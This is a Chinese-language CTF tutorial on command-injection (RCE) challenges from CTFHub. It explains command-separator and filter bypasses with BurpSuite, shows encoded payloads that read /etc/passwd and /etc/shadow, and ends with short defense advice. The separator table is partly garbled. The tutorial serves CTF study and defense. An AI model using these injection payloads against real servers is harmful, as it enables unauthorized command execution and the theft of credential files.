CTFHub RCE 实战:5种命令分隔符绕过与BurpSuite实战分析
在CTF竞赛中,远程命令执行(RCE)漏洞一直是Web安全领域的重要考点。本文将深入剖析CTFHub平台上的RCE挑战,聚焦于命令分隔符的绕过技巧,并通过BurpSuite实战演示如何构造有效Payload。
1. RCE漏洞基础与命令分隔符原理
RCE(Remote Command Execution)漏洞允许攻击者在目标服务器上执行任意系统命令。这种漏洞通常出现在应用程序未对用户输入进行充分过滤的情况下,特别是当应用需要调用系统命令时。
命令分隔符是Linux/Unix系统中用于分隔多个命令的特殊字符,常见的有:
| 分隔符 | URL编码 | 作用描述 |
|---|---|---|
; | %3B | 顺序执行多个命令 |
& | %26 | 后台执行前命令,继续执行后命令 |
| ` | ` | %7C |
&& | %26%26 | 前命令成功则执行后命令 |
| ` | ` | |
\n | %0A | 换行符,等效于执行新命令 |
在Web应用中,这些分隔符常被过滤,因此需要掌握多种绕过技巧。以下是一个简单的测试Payload:
127.0.0.1; ls -la /2. 五种核心分隔符绕过技术
2.1 分号(;)绕过技术
分号是最基础的分隔符,但常被过滤。当直接使用分号被拦截时,可以尝试:
- URL编码绕过:使用
%3B代替分号 - 空白分号:在分号前后插入空格或制表符
- 多重分号:使用多个连续分号
;;
BurpSuite实战案例:
GET /rce.php?ip=127.0.0.1%3Bcat%20/etc/passwd HTTP/1.1 Host: ctfhub.example.com2.2 与符号(&)高级利用
&符号在URL中有特殊含义,需要特别注意编码:
- 单&绕过:使用
%26编码 - 双重编码:
%2526(对%26再次编码) - 结合注释:
127.0.0.1%26%23 注释内容
实际测试时,可以尝试以下变体:
127.0.0.1%26ls 127.0.0.1%26%23x%0als2.3 管道符(|)的创造性使用
管道符不仅能连接命令,还能用于错误输出重定向:
- 基本用法:
command1 | command2 - 错误利用:
||在第一个命令失败时执行第二个 - 结合编码:
%7C或%257C
典型Payload结构:
cat nonexistent_file || whoami2.4 换行符(%0A)的妙用
换行符是最难过滤的分隔符之一:
- 直接换行:
\n在Burp中可输入 - URL编码:
%0A - 结合其他符号:
%0Acat%20/etc/passwd%0A
BurpSuite拦截修改示例:
POST /rce.php HTTP/1.1 ... ip=127.0.0.1%0Aid%0A2.5 组合分隔符技术
高级场景中,需要组合多种分隔符:
- 分号+换行:
%3B%0A - 管道+与符号:
|%26 - 三重组合:
;%0A%26
复杂案例:
127.0.0.1;%0Als%20-al%20/%26cat%20/etc/shadow3. BurpSuite实战流程详解
3.1 拦截与修改请求
- 配置BurpSuite代理
- 拦截含有可疑参数的请求
- 修改参数尝试基础Payload
关键步骤:
- 使用
Ctrl+R发送到Repeater模块 - 在Decoder模块进行多重编码测试
- 通过Comparer对比响应差异
3.2 Payload构造策略
基础探测:
127.0.0.1; sleep 5观察响应时间判断命令是否执行
信息收集:
127.0.0.1; id; uname -a; pwd文件读取:
127.0.0.1; cat<flag.txt3.3 绕过过滤的高级技巧
当遇到关键词过滤时,可以尝试:
变量替换:
a=c;b=at; $a$b flag.txt反斜杠绕过:
c\at fl\ag.txt空变量干扰:
cat${x}flag.txt
4. 实战场景分析
4.1 过滤cat命令的绕过
当cat被过滤时,替代方案:
| 命令 | 功能描述 |
|---|---|
tac | 反向输出文件内容 |
more | 分页显示文件 |
less | 高级分页显示 |
head | 显示文件开头 |
tail | 显示文件结尾 |
nl | 显示行号 |
Payload示例:
127.0.0.1; more fl* 2>/dev/null4.2 空格过滤解决方案
当空格被过滤时,替代方案:
- IFS变量:
${IFS}或$IFS$9 - 重定向符号:
cat<flag.txt - 制表符:
%09 - 花括号:
{cat,flag.txt}
4.3 目录分隔符绕过
当/被过滤时,替代方案:
CD切换目录:
127.0.0.1; cd flag_is_here; ls变量替换:
d=$(echo -e "\x2f"); cat ${d}etc${d}passwd通配符:
cat /???/pass*
5. 防御建议与总结
虽然本文重点在于攻击技术,但作为负责任的网络安全从业者,必须了解防御措施:
输入验证:
- 使用白名单验证所有用户输入
- 过滤所有特殊字符和命令分隔符
安全编程:
- 避免直接使用用户输入构造系统命令
- 使用安全的API替代系统命令调用
环境加固:
# 示例:限制命令执行权限 chmod 750 /bin/{ls,cat}
在实际CTF比赛中,RCE挑战往往需要结合多种技术。建议从简单Payload开始测试,逐步增加复杂度,同时注意观察服务器响应细节。